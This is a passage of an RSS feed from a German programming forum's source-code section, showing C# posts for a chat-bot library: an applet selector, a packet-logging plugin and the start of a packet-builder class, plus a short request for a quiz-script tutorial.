/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MessageBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #0000BB">ex</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gibt&nbsp;sowieso&nbsp;einen&nbsp;Error&nbsp;zurück&nbsp;ohne&nbsp;diesen&nbsp;Try-Catch-Block&nbsp;wenn&nbsp;die&nbsp;3&nbsp;Applets&nbsp;nicht&nbsp;geladen&nbsp;werden&nbsp;können&nbsp;aber&nbsp;sicher&nbsp;ist&nbsp;sicher!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;das&nbsp;via&nbsp;Chatsystem&nbsp;ausgewählte&nbsp;Applet&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="Chatsystem"&gt;Chatsystem&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">Applet&nbsp;GetApplet</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem&nbsp;Chatsystem</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">Chatsystem</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Applet_DE</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">AT</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Applet_AT</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">CH</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Applet_CH</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&nbsp;</span><span style="color: #FF8000">//&nbsp;Natürlich&nbsp;kann&nbsp;man&nbsp;dies&nbsp;für&nbsp;MFC,&nbsp;COM&nbsp;erweitern,&nbsp;ich&nbsp;habs&nbsp;jedoch&nbsp;auf&nbsp;DE,&nbsp;AT&nbsp;&amp;&nbsp;CH&nbsp;begrenzt.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">Applet_DE</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;das&nbsp;via&nbsp;String&nbsp;ausgewählte&nbsp;Chatsystem&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="System"&gt;System&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;Chatsystem&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">ChatSystem&nbsp;GetChatsystem</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;System</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">System</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"DE"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"AT"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">AT</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"CH"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">CH</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&nbsp;</span><span style="color: #FF8000">//&nbsp;Natürlich&nbsp;kann&nbsp;man&nbsp;dies&nbsp;für&nbsp;MFC,&nbsp;COM&nbsp;erweitern,&nbsp;ich&nbsp;habs&nbsp;jedoch&nbsp;auf&nbsp;DE,&nbsp;AT&nbsp;&amp;&nbsp;CH&nbsp;begrenzt.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><a href="http://ul.to/lfv84hf4" target="_blank" rel="nofollow"><font size="4"><b>C# KNLib Multi Applet Sample Download</b></font></a><br />
<br />
Sollten eigentlich die meisten verstehen, die sich damit auseinandergesetzt haben. Ist nicht wirklich schwer.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knlib-multi-applet-sample-30716</guid>
		</item>
		<item>
			<title>Wie erstelle ich mir eine Quiz URL?</title>
			<link>sourcecode-91/wie-erstelle-ich-mir-eine-quiz-url-31658?goto=newpost</link>
			<pubDate>Mon, 02 Jan 2012 17:54:55 GMT</pubDate>
			<description><![CDATA[Liebe user, 
ich weiß noch von damals, das scripte gab, womit man Frage + Antworten sammeln & lösen konnte. 
Meine frage ist jetzt, gibt es noch ein...]]></description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
ich weiß noch von damals, das scripte gab, womit man Frage + Antworten sammeln &amp; lösen konnte.<br />
Meine frage ist jetzt, gibt es noch ein Tut zu solchen URL's?<br />
Hab schon gegoogelt und nichts weiteres gefunden....</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/wie-erstelle-ich-mir-eine-quiz-url-31658</guid>
		</item>
		<item>
			<title><![CDATA[[C#] DeKaDeNz.Client Chatlogger plugin]]></title>
			<link>sourcecode-91/c-dekadenz-client-chatlogger-plugin-3933?goto=newpost</link>
			<pubDate>Sat, 31 Dec 2011 19:55:26 GMT</pubDate>
			<description>Nochmal als Example ;) 
 
 
PHP: 
--------- 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using...</description>
			<content:encoded><![CDATA[<div>Nochmal als Example ;)<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Windows</span><span style="color: #007700">.</span><span style="color: #0000BB">Forms</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">DeKaDeNz<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;</span><span style="color: #0000BB">ChatLogger&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Plugin<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">string&nbsp;now</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">DateTime</span><span style="color: #007700">.</span><span style="color: #0000BB">Now</span><span style="color: #007700">.</span><span style="color: #0000BB">ToShortTimeString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StreamWriter&nbsp;SW</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;fileName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">ChatLogger</span><span style="color: #007700">(</span><span style="color: #0000BB">KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Client</span><span style="color: #007700">.</span><span style="color: #0000BB">BotClient&nbsp;parent</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">(</span><span style="color: #0000BB">parent</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">Directory</span><span style="color: #007700">.</span><span style="color: #0000BB">Exists</span><span style="color: #007700">(</span><span style="color: #DD0000">"log"</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">Directory</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateDirectory</span><span style="color: #007700">(</span><span style="color: #DD0000">"log"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Priority&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">MaxValue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">true</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">Exists</span><span style="color: #007700">(</span><span style="color: #DD0000">"log/log-"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">".txt"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fileName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"log/log-"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">".txt"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StreamWriter</span><span style="color: #007700">(</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">Create</span><span style="color: #007700">(</span><span style="color: #0000BB">fileName</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Start&nbsp;logging"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">Close</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;string&nbsp;GetInfo</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"Dieses&nbsp;Plugin&nbsp;loggt&nbsp;die&nbsp;Packete&nbsp;&nbsp;in&nbsp;einer&nbsp;Logdatei.&nbsp;Dies&nbsp;ist&nbsp;speziell&nbsp;für&nbsp;Entwickler&nbsp;interessant."</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OpenMenu</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MessageBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #DD0000">"Dieses&nbsp;Plugin&nbsp;hat&nbsp;keine&nbsp;Optionen."</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;bool&nbsp;OnReceive</span><span style="color: #007700">(</span><span style="color: #0000BB">Packet&nbsp;p</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">AppendText</span><span style="color: #007700">(</span><span style="color: #0000BB">fileName</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"IN&nbsp;&#91;"</span><span style="color: #007700">+</span><span style="color: #0000BB">DateTime</span><span style="color: #007700">.</span><span style="color: #0000BB">Now</span><span style="color: #007700">.</span><span style="color: #0000BB">ToShortTimeString</span><span style="color: #007700">()+</span><span style="color: #DD0000">"&#93;&nbsp;"</span><span style="color: #007700">+</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">().</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\0"</span><span style="color: #007700">,</span><span style="color: #DD0000">"\\0"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">Close</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;bool&nbsp;OnSend</span><span style="color: #007700">(</span><span style="color: #0000BB">Packet&nbsp;p</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">AppendText</span><span style="color: #007700">(</span><span style="color: #0000BB">fileName</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"OUT&nbsp;&#91;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">DateTime</span><span style="color: #007700">.</span><span style="color: #0000BB">Now</span><span style="color: #007700">.</span><span style="color: #0000BB">ToShortTimeString</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #DD0000">"&#93;&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">().</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\\0"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SW</span><span style="color: #007700">.</span><span style="color: #0000BB">Close</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DeKaDeNz</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-dekadenz-client-chatlogger-plugin-3933</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Packet-Builder]]></title>
			<link>sourcecode-91/c-packet-builder-3886?goto=newpost</link>
			<pubDate>Sat, 31 Dec 2011 11:09:34 GMT</pubDate>
			<description>Nicht sehr vollständig, aber working :o 
Verbesserungen und Bugreports gerne gesehen. 
 
using System; 
using System.Collections.Generic; 
using...</description>
			<content:encoded><![CDATA[<div>Nicht sehr vollständig, aber working :o<br />
Verbesserungen und Bugreports gerne gesehen.<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
<br />
/* Abgearbeitete Pakete<br />
 * OUT:<br />
 * e - OutPublicMessage<br />
 * e - OutPrivateMessage<br />
 * h - OutPingAnswer<br />
 * post - OutMailMessage<br />
 * e - OutMailMessage<br />
 * <br />
 * IN:<br />
 * e - InPublicMessage<br />
 * , - InPingReceive<br />
 * r - InPrivateMessage<br />
 * <br />
 * */<br />
<br />
//post\0post\0Senden\0Receiver\0Subject:\01\0Message\0<br />
/*<br />
 * opcode<br />
 * post<br />
 * Action<br />
 * Empfänger<br />
 * Betreff<br />
 * Signatur ja/nein (1/0)<br />
 * Nachricht<br />
 * ?<br />
 * */<br />
namespace KNDeKaDeNz.Net<br />
{<br />
<br />
     <br />
      <br />
    <br />
<br />
    public class Packet<br />
    {<br />
        public readonly static string version = &quot;0.1b&quot;;<br />
